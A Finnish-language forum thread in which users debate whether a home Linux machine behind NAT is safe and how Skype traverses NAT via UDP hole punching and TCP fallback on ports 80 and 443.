Skype ei asennu itsekseen ulkopuolelta joten se "ronkkiminen" alkaa ihan sieltä sisäpuolelta tässäkin tapauksessa. Skype käyttää jotakin mekanismia joka ilmeisesti on "UDP pucnh" eli NATin rei'ittäminen UDP:n kanssa. TCP:n kanssa sama ei onnistu. Mutta tämäkin siis edellyttää että Skype käynnistetään koneen sisältä, clientin on oltava käynnissä ja yhteydessä skypen supernodeen tai liikenne eikä mikään muukaan kulje siitä NATista läpi. Aina tämä Skypen UDP-liikenne ei kai onnistu jolloin käsittäkseni Skype osaa etsiä avoinaisia portteja ja luonnollisesti portit 80 sekä 443 ovat aina auki jos verkossa ollaan joten skype siirtyy käyttämään tarvittaessa niitä. Tällöin varmaankin puhelun laatu laskee ainakin jos yhteydessä on häiriöitä sillä UDP:hän ei välitä pakettikadosta mutta TCP pyyttää uudelleenlähetystä.
Siinä olet toki oikeassa että kyllä, Skypen tapauksessa NATin läpi mennään, alkaen sisäpuolelta kuitenkin.
Entäs miksi udp-paketit tulee natin läpi? Vaikka mitään ohjauksia ei natissa ole, kaikki udp-portit tuntuu olevan auki
Näinpä, kaikkihan on aina mahdollista, kunhan vaan asentaa paljon (palvelin)softaa omalle koneelle. Päästiin muuten aika kauas tuosta alkuperäisestä kysymyksestä.
"Miten on. Asentaessaan Linuxin, niin tulisiko sitä säätää ja jos niin, niin miten optimoidakseen lisää sen turvallisuutta? "
Palvelimien asentaminen ei mun mielestä ole ihan hirveästi tuota säätämistä turvallisuuden optimoimiseksi :)
Lounastauko.. ;D
http://en.wikipedia.org/wiki/Simple_traversal_of_UDP_over_NATs
>....alkaa ihan sieltä sisäpuolelta...
Tottakai alkaa Skypen asentamisella mutta sen jälkeen onkin konstit vähissä.
>TCP:n kanssa sama ei onnistu.
Onnistuu ihan samalla tavalla. Jos et usko niin kokeile piruuttasi sulkemalla KAIKKI portit ja eikun soittamaan. Iloisesti pärisee Skypen luuri ruudussa. ;)
>...Skypen tapauksessa NATin läpi mennään, alkaen sisäpuolelta kuitenkin.
Tuleva puhelu ei voi mitenkään "osua" tietylle koneelle NAT:atussa lähiverkossa, porttitranslaatiota kun ei ole määritelty, muuten kuin siten että oma client kielii sattumanvaraisesti valituille supernodeille paketin sisällön niin että ulkoa initialisoitu yhteys näyttää sisältäpäin aloitelta.
Tämä karkasi vähän sivuraiteille sillä alkuperäinen kysymys ja vastaust koski sitä onko kysyjä turvassa NATin takana.
Nyt ei pidä sotkea käsitettä NAT ja palomuuri sillä NAT ei ole palomuuri mutta palomuuri voi toimia NATina. NAT vain muuntaa verkko-osoitteen joka aiheuttaa sen ettei ulkopuolisesta verkosta pysty esim. skannaamaan aliverkon koneiden auki olevia portteja.
Palomuuri sen sijaan estää liikenteen valitun portin kautta ja jos palomuurilla tukitaan Skypen käyttämä oletusportti niin SIITÄ portista Skype ei enää kykene liikennöimään.
Skypessä on kuitenkin ominaisuus että se osaa vaihtaa UDP-liikenteen TCP-liikenteeksi ja jos oletusportit eivät toimi vaihtaa Skype liikenteen TCP:ksi porttien 80 ja 443 kautta.
En kyllä usko että Skype pystyy rautamuurin puhkaisemaan, sitä täytyy kokeilla itsekin jos sellaista väitätte.
Alkuperäiselle (muutama rivi ylempänä) kysyjälle siis tiedoksi että modeemin ulkopuolelta kukaan ei pääse koneellesi ellet itse avaa yhteyttä eikä myöskään koneesi portteja pysty skannamaan ns. porttiskannereilla. Silti itse perehtyisin tilanteessasi siihen modeemin manuaaliin ja kävisi webbiselaimella katselemassa asetuksia, hyvä tapa on kirjoitella niitä ylös ja varsinkin sellaiset jotka poikeavat manuaalin oletusarvoista, niihin voi sitten erikseen perehtyä että mitä tarkoittavat. Merkkejä ja malleja on monia ja laitteet voivat oletuksenakin toimia eri tavalla joten täyden varmuuden saa vain tutustumalla omaan laitteeseen paremmin.
Skypen turvallisuudesta on monenlaisia käsityksiä ja epäilystä on herättänyt myös Skypen suljettu luonne, joku pystyy siis selvittämään koneesi osoitteet jne.. Mikäli rikolliset pääsevät käsiksi Skypen salattuihin supernode-yhteyksiin niin sitten alkaa tapahtumaan, toistaiseksi tällaista ei ole vielä kai käynyt.
Eiköhän Skype käynnistyessä avaa yhteyden johonkin nodeen, jota roikutetaan auki niin pitkään kuin skypekin on käynnissä. Tuota sockettia pitkinhän voidaan sitten ilmoittaa clientille että olisi lisää jotain kuunneltavaa.
>...onko kysyjä turvassa NATin takana.
Kuten jo ensimmäisessä vastauksessani totesin, olemme tässä suhteessa aika pitkälle samaa mieltä että on. Juuri mainitsemistasi seikoista johtuen.
Jos ei käytä Skypeä tai vastaavaa. ;)
>En kyllä usko että Skype pystyy rautamuurin puhkaisemaan...
Sopii kokeilla. Eikä kysymys ole siitä kuten tuossa väitettiin että client pitäisi socketia roikottamalla yhteyttä auki. Sen olen omin silmin nähnyt lokittamalla kaiken liikenteen tcpdumpilla tietyltä koneelta. Asennettu Skype intoutuu kommunikoimaan muutaman tunnin välein kaikkien tuntemiensa kontaktien kanssa.
Jos et usko minun kokemuksiani niin esitä joku muu uskottavampi teoria siitä millä tavalla tuleva Skype-puhelu osaa perille tiettyyn koneeseen vaikkapa 10 koneen NAT:atussa LAN:issa? Vaikka rautamuurin portit on kaikki lukossa WANtoLAN suunnassa.
"millä tavalla tuleva Skype-puhelu osaa perille tiettyyn koneeseen vaikkapa 10 koneen NAT:atussa LAN:issa"
Enpä osaa sanoa tuohon mitään mutta kokeilen joulun pyhinä ja raportoin havainnoista. Jos vaan muistan sillä en normaalisti käytä Skypeä ja jouluna on paljon muutakin tekemistä joulutouhujen lisäksi esim. kahden auton huoltohommia ;D mutta katsotaan..
Olen käyttänyt ubundua parivuotta enkä ole viritellyt / näperrelyt asetuksi asentamisen jälkeen eikä ole ollut minkäänlaisia ongelmia ulkopuolisten uhkien takia.
Päivitykset tomivat pitkäaikaisella tuella tärkeät ja suositellut valittuna.
Turhalla virittelyllä sotketaan vain koko järjestelmä.
Saahan sitä viritellä mielensä mukaan ja sitten kysellä ohjeita ja kiukutella kun ei toimi.
Turvattomuuden ja toimimattomuuden syy on yleensä omissa sormissa ja liian innokkaassa näppäimistön ja hiiren käytössä.